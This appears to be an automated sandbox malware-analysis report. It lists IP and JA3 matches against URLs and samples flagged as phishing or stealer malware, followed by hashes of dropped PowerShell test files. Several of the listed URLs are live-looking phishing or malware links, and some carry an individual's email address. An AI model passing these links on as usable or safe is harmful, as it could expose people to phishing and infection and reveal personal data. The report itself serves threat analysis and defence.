	https://www.phoenixartstudio.net/?keyvalue=93749&page=https%3A%2F%2Fshdeiw.com%2Fsewirsd	Get hash	malicious	Unknown	Browse	104.18.95.41
	9poHPPZxlB.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.26.2.46
	#29469O204.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://millersgearupforsport.co.uk/	Get hash	malicious	Unknown	Browse	104.21.72.124
	https://cmp.cws.xfinity.com/utility/tracking/tracking/ClickedUrl?targetId=sdfhawesd-dfhfgjhg-as8d8sa7d-as4f3we-uuu8as9d9dfh_mip_103&serverId=c3po&templateId=dg3aj89k-a1s23d324-2822-3452-as54g35as4da5s4d54s&targetUrl=https://google.com/amp/t.co/8rtzAPqE6l	Get hash	malicious	Unknown	Browse	104.26.13.204
	https://gdzrdzrgysetgragfvasrtgfsarjk.bukuyass.com/XpfcRthbnrHirMbTaDgYoLKOcxSZUL&4CkOZrkSbfx&135228/372/zgehtiwtaf.home.php?sq=1618-2075&lk=267570-14&page=848	Get hash	malicious	Phisher	Browse	104.21.61.175
	https://bit.ly/3e7c84f1a590a3e6	Get hash	malicious	Unknown	Browse	172.64.151.101
	https://www.polarisoffice.com/d/2RRiXdDV	Get hash	malicious	Unknown	Browse	188.114.96.3
CLOUDFLARENETUS	https://www.baidu.com/link?url=G4yg7p3qBwOR-KtuwYuiGkxR2eoCYb6asnJso95So3m&wd=Y2hyaXMud2FyZHxhR1ZwWkdWc1ltVnlaMjFoZEdWeWFXRnNjeTVqYjIwPXxRVFdETGNReVBUQWhCVEJzZGRzeGtYaEFFY0ZqUWg=&eqid=8b567acd019c02ad0000000666e1c23f	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.phoenixartstudio.net/?keyvalue=93749&page=https%3A%2F%2Fshdeiw.com%2Fsewirsd	Get hash	malicious	Unknown	Browse	104.18.95.41
	9poHPPZxlB.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.26.2.46
	#29469O204.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://millersgearupforsport.co.uk/	Get hash	malicious	Unknown	Browse	104.21.72.124
	https://cmp.cws.xfinity.com/utility/tracking/tracking/ClickedUrl?targetId=sdfhawesd-dfhfgjhg-as8d8sa7d-as4f3we-uuu8as9d9dfh_mip_103&serverId=c3po&templateId=dg3aj89k-a1s23d324-2822-3452-as54g35as4da5s4d54s&targetUrl=https://google.com/amp/t.co/8rtzAPqE6l	Get hash	malicious	Unknown	Browse	104.26.13.204
	https://gdzrdzrgysetgragfvasrtgfsarjk.bukuyass.com/XpfcRthbnrHirMbTaDgYoLKOcxSZUL&4CkOZrkSbfx&135228/372/zgehtiwtaf.home.php?sq=1618-2075&lk=267570-14&page=848	Get hash	malicious	Phisher	Browse	104.21.61.175
	https://bit.ly/3e7c84f1a590a3e6	Get hash	malicious	Unknown	Browse	172.64.151.101
	https://www.polarisoffice.com/d/2RRiXdDV	Get hash	malicious	Unknown	Browse	188.114.96.3
CLOUDFLARENETUS	https://www.baidu.com/link?url=G4yg7p3qBwOR-KtuwYuiGkxR2eoCYb6asnJso95So3m&wd=Y2hyaXMud2FyZHxhR1ZwWkdWc1ltVnlaMjFoZEdWeWFXRnNjeTVqYjIwPXxRVFdETGNReVBUQWhCVEJzZGRzeGtYaEFFY0ZqUWg=&eqid=8b567acd019c02ad0000000666e1c23f	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.phoenixartstudio.net/?keyvalue=93749&page=https%3A%2F%2Fshdeiw.com%2Fsewirsd	Get hash	malicious	Unknown	Browse	104.18.95.41
	9poHPPZxlB.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.26.2.46
	#29469O204.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://millersgearupforsport.co.uk/	Get hash	malicious	Unknown	Browse	104.21.72.124
	https://cmp.cws.xfinity.com/utility/tracking/tracking/ClickedUrl?targetId=sdfhawesd-dfhfgjhg-as8d8sa7d-as4f3we-uuu8as9d9dfh_mip_103&serverId=c3po&templateId=dg3aj89k-a1s23d324-2822-3452-as54g35as4da5s4d54s&targetUrl=https://google.com/amp/t.co/8rtzAPqE6l	Get hash	malicious	Unknown	Browse	104.26.13.204
	https://gdzrdzrgysetgragfvasrtgfsarjk.bukuyass.com/XpfcRthbnrHirMbTaDgYoLKOcxSZUL&4CkOZrkSbfx&135228/372/zgehtiwtaf.home.php?sq=1618-2075&lk=267570-14&page=848	Get hash	malicious	Phisher	Browse	104.21.61.175
	https://bit.ly/3e7c84f1a590a3e6	Get hash	malicious	Unknown	Browse	172.64.151.101
	https://www.polarisoffice.com/d/2RRiXdDV	Get hash	malicious	Unknown	Browse	188.114.96.3
FASTLYUS	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://www.phoenixartstudio.net/?keyvalue=93749&page=https%3A%2F%2Fshdeiw.com%2Fsewirsd	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://gdzrdzrgysetgragfvasrtgfsarjk.bukuyass.com/XpfcRthbnrHirMbTaDgYoLKOcxSZUL&4CkOZrkSbfx&135228/372/zgehtiwtaf.home.php?sq=1618-2075&lk=267570-14&page=848	Get hash	malicious	Phisher	Browse	151.101.65.44
	https://bit.ly/3e7c84f1a590a3e6	Get hash	malicious	Unknown	Browse	151.101.1.44
	https://www.polarisoffice.com/d/2RRiXdDV	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://www.kisa.link/bPvju	Get hash	malicious	Phisher	Browse	151.101.129.44
	https://pikkorino.com/wp-content/uploads/2018/11/arull.php?7112797967704b536932307464507a53744a4c53704a7a4d7a4c4262497953704e4b55704d7a696c4c31436f727939664e79536b4e533941453dEMAILBASE64	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://url2253.supportasecurity.com/ls/click?upn=u001.8PZYqznGDJ9-2FKUHHWNUI3Edxs36Tp2dyG-2Ba7x1-2FPzVdu3bKXNWn2LvlF5iXWtGEfIsJd795-2F6B3b8l-2FhC2f2zw-3D-3D2w7E_lb-2Bnb9KO-2BNO6xtys7-2FSgJ37Cm7-2FqCsJQuSPzRnbo9rKVbI2R8gs14rAUveIpHhIOrHXcf6q6pmPYVBrx-2F-2FgmjhscUNPFCso8gA9rpmEpgMPU1tcukTovCaYGJYvgHvVJZb2xcZFijRQrxXUqMf-2FDb1lgQXZ51YtzZvTAweZNDb5-2BmntOyGie5zyANnlrWIS-2B-2BsgFV4hER50aWpOErGN-2FpJwQITPvdi69D7CK7usgeKJrAUWK0NG8q4Skck2mCy-2F8CjQ5dmXggB2H7tLJidvPvM9khambrWj8FuwMJCzrK4LNStfQWZUtBYMpMG-2F47lnH0S-2FlyoKmWTn5XlHDdgZK6jAFBZXQVQD9cVti9OL-2BGKGmoU9N9PVXbsielqDx6aAOl8reEdBu-2FhZJovH6Cya7sU67oLz9WOmApinrNrgKyLj9-2FnZke-2FrNXntDN-2BmI9gYOp60vp-2BmyMr1b7X-2Bv-2FDGM6pqmBn9a9cF2wTYfTwH1F2O3hMuhPkvWp9ywQI3RWINRAUEkR395xhdWa3Xy4F0DYcfVrqhhW020n6qgsU6x3XOiTP5FWmNCSSr56o2HqOAE6MqQw8fCBbvm3FUVLvCfZ-2FLn4udwAmpHiaqLRuwXpVdB2abW3LmmCPMufkS0qGEGCEDPfGoZHZTkUmpRbDgXHgfWe7exJBnf-2F5hdOTYiw0mN7YOdfSuhE7vEmDV5XXoZMguGuhnIUi1S5IFDf-2BI6-2BU4PVdd42vN-2BNAzkqjdRwjd1G7lG0QQwrLQSoII9g7PyjntBfNVT9z1w1QZMIcgxRPG-2Fd0G6qwnQ6d2XTx-2BxeQOXeERokCIMuNhXscGUUDnFO-2BODGABIjUJmx99N4zNVrq6NLtNHrav1IahnhJfxQ-2BY-3D&c=E,1,E0lAJItgIyUxbXGpxJtGCBhqXoYkpM6eN57cP_YKhu3ZsbCoe3Y2FTZgOx4X7oPpj_5FBx6MpnelyXgRzl52pHKItnj6fhEACRn26PWJEhywZbLRUfbk&typo=1	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://shop.oebbticket.at	Get hash	malicious	Phisher	Browse	151.101.194.137
	https://www.google.co.il/url?q=xtcjw2geVaKWnfmdoGJR&rct=plPBlHNa5kwdhss6Wkqp&sa=t&esrc=513lj8JvP7Ittpg5uakw&source=&cd=HEdeaS5QG8iPRKWBvNC5&cad=v3vi70ntSK6fhpPYoZj8&ved=blJ54Mupbf2HcJbicYcQ&uact=&url=amp%2F96052289709188877.%70%65%64%61%6c%61%6e%64%70%6f%73%65%2e%63%6f%6d/6573616e646272616e6440706561726c686f6c64696e672e636f6d/ZXNhbmRicmFuZEBwZWFybGhvbGRpbmcuY29t	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://gateway.lighthouse.storage/ipfs/bafybeidlhhhfoqqu52nkwbnjq6g6q2h4p5rl4ewwwzv5a45f2vw46ogi2i#muzzammil.ahussain@almosafer.com	Get hash	malicious	Unknown	Browse	104.20.3.235 162.159.136.232 185.199.109.133
	#29469O204.exe	Get hash	malicious	AgentTesla	Browse	104.20.3.235 162.159.136.232 185.199.109.133
	hesaphareketi-01_pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.20.3.235 162.159.136.232 185.199.109.133
	https://www.kisa.link/bPvju	Get hash	malicious	Phisher	Browse	104.20.3.235 162.159.136.232 185.199.109.133
	http://pc.stormshotgame.com	Get hash	malicious	Unknown	Browse	104.20.3.235 162.159.136.232 185.199.109.133
	Scanned Purchase Copy.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.20.3.235 162.159.136.232 185.199.109.133
	Faktura_VAT__U2409161195150793564#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.20.3.235 162.159.136.232 185.199.109.133
	SOLICITUD DE PRESUPUESTO 09-16-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	104.20.3.235 162.159.136.232 185.199.109.133
	HG987654567000.vbs	Get hash	malicious	AgentTesla	Browse	104.20.3.235 162.159.136.232 185.199.109.133
	Company Profile.vbs	Get hash	malicious	Unknown	Browse	104.20.3.235 162.159.136.232 185.199.109.133

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllulu1lZ:NllUK
MD5:	E380266A76A37270F69D53E81CDBC320
SHA1:	FB153706491EE0BB0E23A37B10BB144E000E20E4
SHA-256:	49963FA4C066F2839CB5A6808FA6E73E06F22093C6512E05ADE351F5DE8A2C55
SHA-512:	C74FFDD904EB86F0B3938A5092320DE96390496544ED8F07D92E9CA4827E2296848AFF54D8D00CF5BBEB881DC6E83744BB014A2B9260DB773E9CCB01F16980B0
Malicious:	false
Preview:	@...e...............................[.0..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0tosojsc.gtg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xgru0g4.lv3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1h2qoia5.q1w.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b32031hx.suo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_davfm4ih.00x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hc2hfju5.gqq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hh5i25cn.mnw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hw4z4mtr.0uy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ihebfnsc.bvv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ikmmtyig.msm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ley3p4c0.sor.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m30w3ywt.jkx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pi3lhmbw.uqc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pllciex1.xkx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rlfkq24a.210.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rndxho55.0dw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rsfqvcrb.h3f.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_stafdvij.0bm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5hpduxv.slf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
